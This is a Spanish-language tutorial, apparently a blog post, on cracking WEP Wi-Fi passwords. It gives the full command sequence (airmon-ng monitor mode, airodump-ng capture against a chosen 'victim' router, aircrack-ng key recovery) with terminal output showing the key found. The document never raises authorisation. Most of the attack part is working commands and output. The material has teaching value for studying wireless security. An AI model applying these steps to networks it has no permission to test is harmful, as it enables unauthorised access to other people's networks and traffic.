Hacking Wi-Fi 2: Introducción a airodump-ng y crackeos a WEP

Uso de airodump-ng y crackeando contraseñas WEP con aircrack-ng.

¿Que es WEP?

Wired Equivalent Privacy: Data del año 1999, fue el primer tipo de contraseña que se fabricó para los routers Wifi, por lo tanto, todos los dispositivos son capaces de establecer contraseñas tipo WEP. Pero en el 2001 criptógrafos descubrieron como romperlo en pocos minutos. La estructura de la contraseña tipo WEP era hexadecimal, es decir, del 0 al 9 y de la A hasta la F, donde una contraseña de 64bits puede tener hasta 10 caracteres y una contraseña de 128bits puede tener hasta 26 caracteres. Actualmente es la más fácil de crackear, pero también la más escasa por ser la más vulnerable.

Crackeando WEP

El crackeo de la WEP consta de 4 pasos, el primero es colocar la tarjeta en modo monitor, el segundo es seleccionar un router victima con clientes conectados, y la tercera es de capturar los paquetes de ese router, y el cuarto es crackear la contraseña en base a lo capturado.

Colocando la tarjeta en modo monitor

sudo airmon-ng start wlan1

Seleccionando victima

Cuando usamos el siguiente comando airodump-ng wlan1mon lo que hacemos es usar la tarjeta en modo monitor para poder identificar las redes Wifi existentes.

root@vay3t:~# airodump-ng wlan1mon

 CH  2 ][ Elapsed: 0 s ][ 2017-10-30 17:54                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63  -33        2        0    0   6  54   WEP  WEP         c1sc0
 C0:05:C2:C2:04:B1  -71        2        0    0   7  54e. WPA2 CCMP   PSK  Movistar

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82  -23    0 - 1      0        6  

Ahora necesitamos comprender la información que está ahí

• CH 2 ]: Representa el canal actual de la tarjeta, si no se especifica esta cambia a cada pocos segundos.
• [ Elapsed: 0 s ]: Tiempo transcurrido desde que se usó el comando
• [ 2017-10-30 17:54: Fecha y hora actual
• PWR La potencia que nos llega del router en dbm
• #Data: Cantidad de datos capturados
• #/s: Cantidad de datos por segundo
• CH: Canal actual del router
• ENC: Sistema de cifrado del router
• ESSID: Nombre del router
• STATION: MAC del cliente, en caso de que en BSSID salga una MAC, significa de que el cliente esta conectado a ese router, en caso contrario si sale (not associated) significa que el cliente no está asociado a ningún router.

Ahora nos damos cuenta de que el router c1sc0 tiene ENC WEP lo que significa que nos interesa.

Capturando paquetes

Ya que hemos seleccionado nuestra victima tenemos que capturar el #Data para poder posteriormente crackear la contraseña, para eso usamos el comando usado para poder seleccionar el BSSID y el CH para luego usar -w y así guardarlo con el nombre out. Airodump-ng guardara varios archivos con nombre out-01.* Tenemos que esperar hasta tener al menos unos 5000 de #Data.

root@vay3t:~# airodump-ng wlan1mon --bssid C0:56:27:DD:4F:63 --channel 6 -w out
 CH  6 ][ Elapsed: 5 mins ][ 2017-10-30 18:04

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 C0:56:27:DD:4F:63  -37  90     3213        0    0   6  54   WEP  WEP    OPN  c1sc0

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 C0:56:27:DD:4F:63  30:A8:DB:F1:66:82  -23   54 - 1      0    28495  c1sc0

Crackeando con aircrack-ng

Luego de haber capturado unos cuantos #Data usaremos aircrack-ng para poder crackear la contraseña, para eso seleccionamos el archivo guardado por airodump-ng. El archivo que nos interesa es out-01.cap.

root@vay3t:~# aircrack-ng out-01.cap
Opening out-01.cap
Read 11063 packets.

   #  BSSID              ESSID                     Encryption

   1  C0:56:27:DD:4F:63  c1sc0                     WEP (4036 IVs)

Choosing first network as target.

Opening out-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 4036 ivs.


         Aircrack-ng 1.2 rc4


     [00:00:47] Tested 6553601 keys (got 5035 IVs)

   KB    depth   byte(vote)
    0    0/  1   97(8704) FE(8448) 23(7936) 21(7680) C7(7680) 
    1    0/  1   68(9216) 77(8448) 05(8192) C8(8192) 1E(7680) 
    2    0/  1   29(8960) 4A(8704) ED(8448) 7A(8192) 0F(7936) 
    3    0/  1   A5(8192) AB(7680) FC(7680) 64(7424) 7F(7424) 
    4    0/  1   29(8192) 6A(7936) C5(7936) C1(7424) DF(7424) 
    5    0/  1   E2(8960) 8C(8448) 04(7936) A6(7936) 1C(7680) 
    6    0/  1   CA(7680) 3D(7424) 57(7424) AA(7424) 19(7168) 
    7    0/  2   DB(8192) FA(8192) 98(7936) EF(7936) 1B(7680) 
    8    0/  8   6E(8448) 75(8192) FA(8192) F1(7680) 01(7424) 
    9    0/  1   C9(8448) 78(8192) 0D(7680) 91(7424) A7(7424) 
   10    0/  1   78(7936) DD(7680) F3(7680) 6A(7424) 3E(7168) 
   11    0/  1   F7(8192) 2C(7936) 06(7424) 0A(7424) 83(7424) 
   12    0/ 12   33(7980) BE(7616) B4(7396) AD(7320) AA(7212) 

         KEY FOUND! [ 64:64:64:64:64 ] (ASCII: ddddd )
  Decrypted correctly: 100%

Luego de esperar ya tenemos nuestra contraseña:

KEY FOUND! [ 64:64:64:64:64 ]